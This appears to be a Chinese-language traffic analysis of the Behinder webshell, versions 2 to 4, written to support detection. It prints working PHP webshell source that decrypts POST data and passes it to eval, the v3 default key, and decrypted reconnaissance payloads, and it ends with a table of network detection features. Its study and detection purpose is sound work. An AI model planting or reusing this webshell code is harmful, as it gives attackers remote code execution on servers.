1.冰蝎2分析
源码分析:
<?php
@error_reporting(0);
session_start();
if (isset($_GET['pass']))//协商密钥
{
$key=substr(md5(uniqid(rand())),16);
$_SESSION['k']=$key;
print $key;
}
else
{
$key=$_SESSION['k'];
$post=file_get_contents("php://input");
if(!extension_loaded('openssl'))//未开启openssl解密方法
{
$t="base64_"."decode";
$post=$t($post."");
for($i=0;$i<strlen($post);$i++) {
$post[$i] = $post[$i]^$key[$i+1&15];
}
}
else//利用openssl解密
{
$post=openssl_decrypt($post, "AES128", $key);
}
$arr=explode('|',$post);
$func=$arr[0];
$params=$arr[1];
class C{public function __construct($p) {eval($p."");}}
@new C($params);
}
?>
通信过程:
1.冰蝎通过get请求来协商密钥(当接受到get请求的pass参数时会取随机数的md5值前16位作为密钥返回给客户端并存储到会话中,而接收到post请求时则会利用会话中的密钥来解密。)测试中还发现,通常get请求会发送两次,同时pass字段的值一般位三位数字,而返回包值都是16位。
2.发送第一个post请求用以确认服务端是否可以成功解密。这个过程中客户端会采用不同的加密方式发送数据,如果是上述shell,客户端会尝试aes或者based64+xor来加密。如果服务端解密失败则返回空或者错误,然后客户端更换算法重新加密发送。直到解密成功。测试发现默认先尝试aes加密,服务端解密失败则直接进行xor加密发送数据来获取目标基本信息,如这个shell中是获取phpinfo()。
解密:
从shell中提取解密算法即可,每种算法都需要尝试。而密钥是在最后一个get请求的返回包中。解密第二个数据包请求如下:
@error_reporting(0);
function main($content)
{
$result = array();
$result["status"] = base64_encode("success");
$result["msg"] = base64_encode($content);
$key = $_SESSION['k'];
echo encrypt(json_encode($result),$key);
}
function encrypt($data,$key)
{
if(!extension_loaded('openssl'))
{
for($i=0;$i<strlen($data);$i++) {
$data[$i] = $data[$i]^$key[$i+1&15];
}
return $data;
}
else
{
return openssl_encrypt($data, "AES128", $key);
}
}$content="a9af2207-c7c8-4e53-9077-afd447d27bdf";
main($content);
第三个请求包如下(当第一次使用openssl解密失败后就会直接通过xor加密来发送这个包):
error_reporting(0);
function main() {
ob_start(); phpinfo(); $info = ob_get_contents(); ob_end_clean();
$driveList ="";
if (stristr(PHP_OS,"windows")||stristr(PHP_OS,"winnt"))
{
for($i=65;$i<=90;$i++)
{
$drive=chr($i).':/';
file_exists($drive) ? $driveList=$driveList.$drive.";":'';
}
}
else
{
$driveList="/";
}
$currentPath=getcwd();
//echo "phpinfo=".$info."\n"."currentPath=".$currentPath."\n"."driveList=".$driveList;
$osInfo=PHP_OS;
$result=array("basicInfo"=>base64_encode($info),"driveList"=>base64_encode($driveList),"currentPath"=>base64_encode($currentPath),"osInfo"=>base64_encode($osInfo));
//echo json_encode($result);
session_start();
$key=$_SESSION['k'];
//echo json_encode($result);
//echo openssl_encrypt(json_encode($result), "AES128", $key);
echo encrypt(json_encode($result), $key);
}
function encrypt($data,$key)
{
if(!extension_loaded('openssl'))
{
for($i=0;$i<strlen($data);$i++) {
$data[$i] = $data[$i]^$key[$i+1&15];
}
return $data;
}
else
{
return openssl_encrypt($data, "AES128", $key);
}
}
main();
2.冰蝎3分析
源码分析
<?php
@error_reporting(0);
session_start();
$key="e45e329feb5d925b"; //该密钥为连接密码32位md5值的前16位,默认连接密码rebeyond
$_SESSION['k']=$key;
session_write_close();
$post=file_get_contents("php://input");
if(!extension_loaded('openssl'))
{
$t="base64_"."decode";
$post=$t($post."");
for($i=0;$i<strlen($post);$i++) {
$post[$i] = $post[$i]^$key[$i+1&15];
}
}
else
{
$post=openssl_decrypt($post, "AES128", $key);
}
$arr=explode('|',$post);
$func=$arr[0];
$params=$arr[1];
class C{public function __invoke($p) {eval($p."");}}
@call_user_func(new C(),$params);
?>
冰蝎3取消了动态密钥协商,密钥直接写死在shell源码中。默认为rebeyond的32位md5值的前16位。
由于没有协商密钥过程明显看到少了get请求
从shell源码中提取解密算法,发现两个post请求与返回内容与上面冰蝎2的内容一样。
3.冰蝎4分析
冰蝎4新增了传输协议功能,允许用户自定义加解密算法,所以没有明显特征。但测试发现每次连接端口号会递增并且都是大端口。
4.总结
0 | 1 |
---|---|
冰蝎全版本 | UA和默认的Accept字段Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2 ;content-type为application/octet-stream;keep-live长连接;同一种加解密算法post请求包与返回包开头都会有一部分相同字符(由其请求与返回的内容决定的,如请求的原始数据开头都是error_reporting(0);导致同一种加密方式请求开头都是一样的) |
冰蝎2 | get请求返回包内容是随机数的MD5值前16位(密钥); |
冰蝎4 | 每次与webshell连接时都是大端口,并且端口数字会递增; |